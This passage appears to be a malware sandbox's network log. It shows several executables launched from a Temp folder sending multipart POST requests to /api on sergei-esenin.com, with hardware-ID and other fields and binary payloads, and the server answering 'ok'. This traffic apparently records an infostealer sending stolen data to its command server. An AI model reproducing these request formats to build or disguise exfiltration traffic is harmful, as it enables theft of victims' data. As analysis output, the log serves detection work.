Rql1f96HwxS4vBkl4yCD0cuccIkT77sLVqufJgTbePwymfTrS8MQJFntCXGAkUPgy0ywHbIrSj/Gq9tTsf8c6KLYgP5fAVAF6VwdEDTQd+Db6KXJElv6bxarm0PQu8gcUrkEC5uzUBTZbUnBgRFDUFvsMI3GH76fJ19ep4PLyOxC2GD6L+JUdLl5HJXAISMQm9yQfQK6e7+WS9tzQGv4bYLJ9GvrM1AESX25IbQ1B+DaqKXJECorn4Lar8IU22j
2024-10-21 08:47:41 UTC	1369	IN	Data Raw: 42 72 37 55 36 43 45 4f 53 32 4a 55 55 41 42 34 36 44 72 58 50 42 39 30 71 73 71 72 36 61 62 79 38 4d 51 4c 78 7a 6f 6f 74 69 41 2f 6c 38 42 30 63 54 35 66 63 30 51 4e 4e 42 33 34 4e 76 6f 70 63 6b 53 32 37 72 50 56 6e 73 37 59 39 43 37 75 46 79 69 47 54 51 4c 6d 32 4f 41 68 4d 6b 4e 69 51 47 67 59 55 4e 51 79 2f 79 51 4c 58 59 66 76 70 38 6e 58 31 36 6e 67 74 71 6f 33 47 4c 64 42 51 38 36 6c 38 41 45 44 62 69 64 45 58 44 78 6f 35 43 72 2f 4a 44 4e 51 6c 76 36 7a 31 5a 61 65 36 4f 41 71 6a 6b 73 6f 6a 6c 55 4f 2b 73 44 67 42 52 5a 33 53 6c 56 78 4e 58 6a 6b 53 38 70 4a 45 2f 43 32 79 67 50 4a 32 39 61 31 32 46 50 47 48 78 6d 72 49 44 37 79 37 4e 67 68 42 6d 4e 65 53 46 77 59 55 50 77 32 36 78 78 62 53 4c 72 71 74 39 57 4b 7a 74 44 6b 43 74 34 66 44 4b 35 Data Ascii: Br7U6CEOS2JUUAB46DrXPB90qsqr6aby8MQLxzootiA/l8B0cT5fc0QNNB34NvopckS27rPVns7Y9C7uFyiGTQLm2OAhMkNiQGgYUNQy/yQLXYfvp8nX16ngtqo3GLdBQ86l8AEDbidEXDxo5Cr/JDNQlv6z1Zae6OAqjksojlUO+sDgBRZ3SlVxNXjkS8pJE/C2ygPJ29a12FPGHxmrID7y7NghBmNeSFwYUPw26xxbSLrqt9WKztDkCt4fDK5
2024-10-21 08:47:41 UTC	381	IN	Data Raw: 41 6a 6c 72 6a 64 75 57 44 41 51 4a 4d 55 72 38 69 67 75 52 65 59 7a 70 2f 47 71 75 6f 79 34 41 6f 59 65 4b 46 64 34 50 70 66 42 6b 52 33 6d 59 33 35 38 62 46 51 39 7a 4c 61 54 41 41 38 45 6d 6f 71 61 31 49 2f 57 30 65 46 58 69 7a 6f 6f 75 67 51 2f 6c 34 47 35 63 47 63 69 47 77 55 34 63 55 43 64 4b 70 49 70 63 67 32 2f 31 75 37 55 31 39 66 55 37 48 36 4f 47 79 54 79 54 43 49 4f 4f 47 78 31 42 6e 63 61 41 49 6a 30 5a 4a 41 65 30 33 52 57 64 4e 4c 61 6e 2b 32 71 6a 38 6e 5a 4e 76 73 43 53 45 39 41 48 2f 59 39 79 52 31 54 62 69 64 45 70 41 42 41 77 44 61 54 62 53 66 59 37 75 4b 2f 69 66 50 58 38 65 41 76 78 32 4a 70 6b 30 45 75 73 38 47 52 58 48 73 43 45 77 6b 74 54 54 43 46 45 71 34 6f 53 6b 58 6e 6e 35 37 56 2f 39 65 70 34 53 72 4b 53 32 43 79 54 57 62 37 Data Ascii: AjlrjduWDAQJMUr8iguReYzp/Gquoy4AoYeKFd4PpfBkR3mY358bFQ9zLaTAA8Emoqa1I/W0eFXizoougQ/l4G5cGciGwU4cUCdKpIpcg2/1u7U19fU7H6OGyTyTCIOOGx1BncaAIj0ZJAe03RWdNLan+2qj8nZNvsCSE9AH/Y9yR1TbidEpABAwDaTbSfY7uK/ifPX8eAvx2Jpk0Eus8GRXHsCEwktTTCFEq4oSkXnn57V/9ep4SrKS2CyTWb7
2024-10-21 08:47:41 UTC	1369	IN	Data Raw: 32 30 61 39 0d 0a 58 63 59 4f 7a 4b 67 70 44 6b 4e 43 76 49 69 30 54 50 77 6d 38 69 44 58 48 4c 4b 57 71 38 47 71 4c 6a 44 59 4b 70 59 66 45 4c 4a 41 50 38 2f 41 7a 52 78 53 69 6b 64 6c 63 50 46 42 2b 45 76 4b 53 52 4f 51 69 75 36 66 79 65 36 54 2f 47 78 75 38 6a 38 45 72 30 41 48 39 74 6e 78 66 48 4e 57 52 6c 51 31 44 52 6d 35 59 36 5a 39 58 68 6e 48 6e 74 72 74 30 39 61 52 34 56 65 50 4f 69 6a 6a 51 46 2f 33 33 4d 67 70 4e 6d 4e 2b 53 44 68 45 59 50 52 79 78 6a 54 72 76 41 4c 69 69 2b 57 43 36 75 51 59 7a 6b 49 33 42 4a 70 31 41 74 6f 34 43 45 6b 2b 56 33 35 59 4b 45 6c 35 77 53 72 32 4b 58 4f 68 68 2f 65 6e 4b 49 2f 57 71 65 46 58 78 74 63 6b 6b 6e 6b 69 72 6f 58 45 6d 51 5a 44 64 6e 42 4d 49 58 6e 42 4b 74 49 70 63 67 57 2f 31 72 65 51 74 37 65 4a 71 Data Ascii: 20a9XcYOzKgpDkNCvIi0TPwm8iDXHLKWq8GqLjDYKpYfELJAP8/AzRxSikdlcPFB+EvKSROQiu6fye6T/Gxu8j8Er0AH9tnxfHNWRlQ1DRm5Y6Z9XhnHntrt09aR4VePOijjQF/33MgpNmN+SDhEYPRyxjTrvALii+WC6uQYzkI3BJp1Ato4CEk+V35YKEl5wSr2KXOhh/enKI/WqeFXxtckknkiroXEmQZDdnBMIXnBKtIpcgW/1reQt7eJq
2024-10-21 08:47:41 UTC	1369	IN	Data Raw: 51 42 6e 45 6d 36 71 6a 73 42 61 72 75 52 33 31 77 4d 58 6d 59 7a 38 6f 4a 45 37 6d 2f 31 73 62 55 31 39 59 63 37 41 37 2b 48 33 44 76 64 61 71 71 7a 4c 41 46 50 32 35 2f 52 47 6b 4e 47 62 6b 54 79 7a 68 57 52 65 65 58 37 72 6a 6a 6d 35 57 68 66 72 73 37 54 61 6f 59 50 35 65 4a 79 52 31 37 62 69 64 46 62 41 41 77 73 44 4c 48 63 42 35 59 66 69 34 2f 32 66 4c 2b 54 4e 52 32 32 76 76 51 2f 6b 30 47 7a 74 79 6f 57 44 4e 57 52 6e 6c 78 62 4a 33 35 43 2f 73 77 48 78 32 47 4b 35 37 56 31 39 65 70 34 4f 4c 4b 4f 78 43 32 47 58 76 43 57 50 78 5a 47 75 74 79 42 47 30 4e 51 66 67 7a 79 6b 6c 65 66 59 62 47 34 74 54 58 6c 34 47 4e 59 34 74 65 61 65 49 38 42 70 50 41 71 52 78 54 4a 6e 39 45 4f 51 30 5a 2b 54 62 48 59 46 74 63 69 6f 36 71 79 55 34 75 48 4f 77 4f 2f 68 Data Ascii: QBnEm6qjsBaruR31wMXmYz8oJE7m/1sbU19Yc7A7+H3DvdaqqzLAFP25/RGkNGbkTyzhWReeX7rjjm5Whfrs7TaoYP5eJyR17bidFbAAwsDLHcB5Yfi4/2fL+TNR22vvQ/k0GztyoWDNWRnlxbJ35C/swHx2GK57V19ep4OLKOxC2GXvCWPxZGutyBG0NQfgzyklefYbG4tTXl4GNY4teaeI8BpPAqRxTJn9EOQ0Z+TbHYFtcio6qyU4uHOwO/h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50077	172.67.206.204	443	3940	C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:41 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=AXzYAsDRsZFl363Fljb_Vj1OIM3bXbU.3Gbezhq7d8U-1729500450-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: sergei-esenin.com
2024-10-21 08:47:41 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:47:41 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-21 08:47:42 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2b32a0bihusq428ehg4f8dc3io; expires=Fri, 14 Feb 2025 02:34:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rA4syue0xsmZgLRD1UTm5XyQd%2F3EPKE8cT9woEB5cfyQmjCuCCiXd0mbHPZyr8NLf21kzqXFQ7qhjQHbnoNPbdJD4xnhOjeYHCziGOnbGJdbsePUC4YHNEqsuFkD7PQp34gjug%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffbfceb082c99-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1945&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21494&delivery_rate=1486652&cwnd=246&unsent_bytes=0&cid=1c032baac552f1bd&ts=799&x=0"
2024-10-21 08:47:42 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:47:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	50104	172.67.206.204	443

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:45 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=JMeye5BWJnsQ8aDxE6nf3zaPx8nKyzkpPxnbMUjw584-1729500459-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: sergei-esenin.com
2024-10-21 08:47:45 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:47:45 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-21 08:47:46 UTC	1019	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5hqvf8gpq4ft9tnfpp8v9047d5; expires=Fri, 14 Feb 2025 02:34:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PEIwWYYqJC86XTfPXNFKFMgJQIXVEBmNNT%2FLkhBtQszLJG51xei2EyPOVVnX%2F5IzjiuapzKp7W18pgTQb0iZP1AhZ%2Fgd5HnJmp5TUafwhNc2u6CiCb3dl4tU0pSKo2W0pVQhyA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffc17e86f6b8e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1333&sent=15&recv=24&lost=0&retrans=0&sent_bytes=2844&recv_bytes=19220&delivery_rate=2439764&cwnd=249&unsent_bytes=0&cid=57dc8c083a9be24d&ts=880&x=0"
2024-10-21 08:47:46 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:47:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50106	172.67.206.204	443	6316	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:45 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=3JeFFmIqrglsftFHNCl0c56gP6GNbVF2QtgCiUsDkWs-1729500453-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: sergei-esenin.com
2024-10-21 08:47:45 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:47:45 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-21 08:47:46 UTC	1017	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9h4eaub931hcn5di5754bvrs11; expires=Fri, 14 Feb 2025 02:34:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9X1UzgL4lyiImQXrdptnaiNvqAVGfc9NGpT7NZdxDAXQ4co%2FSFIVL395RLIkKheINBSz%2FIzccw6wJ2hFqC9Kj89KkuT0xOKfoxCK1ziN8o3MPlJ73Vy5yLWUzkwMnqjRsPim6Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffc1868436bec-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1489&sent=12&recv=27&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21494&delivery_rate=1884189&cwnd=251&unsent_bytes=0&cid=969d1f1cc7fe1111&ts=784&x=0"
2024-10-21 08:47:46 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:47:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50110	172.67.206.204	443	3940	C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:48 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=AXzYAsDRsZFl363Fljb_Vj1OIM3bXbU.3Gbezhq7d8U-1729500450-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1346 Host: sergei-esenin.com
2024-10-21 08:47:48 UTC	1346	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:47:49 UTC	1019	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g0qukmcp9nt1i8md6av31onq5o; expires=Fri, 14 Feb 2025 02:34:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0cgUJqdgg3QW77NwTC1b63AFMBz9zEU9P3XkBnaQ%2Ffw%2FIAigNsHkYsldhpeKbqYclGUs2ptZCU6%2B3W3TVAdjiPvKcwQb2mBXy3qRpe4wLV%2FiCP4ugx1S7dgNx3Kt7pnWJSVNoQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffc26ca696c5c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1135&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2353&delivery_rate=2448013&cwnd=251&unsent_bytes=0&cid=705f3820bc4d925e&ts=1122&x=0"
2024-10-21 08:47:49 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:47:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50111	172.67.206.204	443	7704	C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:48 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=JMeye5BWJnsQ8aDxE6nf3zaPx8nKyzkpPxnbMUjw584-1729500459-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: sergei-esenin.com
2024-10-21 08:47:48 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:47:49 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q4jpon8l8tu3gvlphfibknms7v; expires=Fri, 14 Feb 2025 02:34:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A65XPCuximiE6BazxJTL7ALbK2bu4QuBrJ4wT2Uh%2Ftm3quygGoLnYkoHWxyAkV3B0YOCYpvmQBlqHSmbiJPImzCzr9RD0zlNH%2FoUPDQzTKsZbeMkHAqpk9G0Ff8n6i0wwGgIlw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffc27cd17464e-DFW alt-svc: h3=":443"; ma=86400 server-timing: 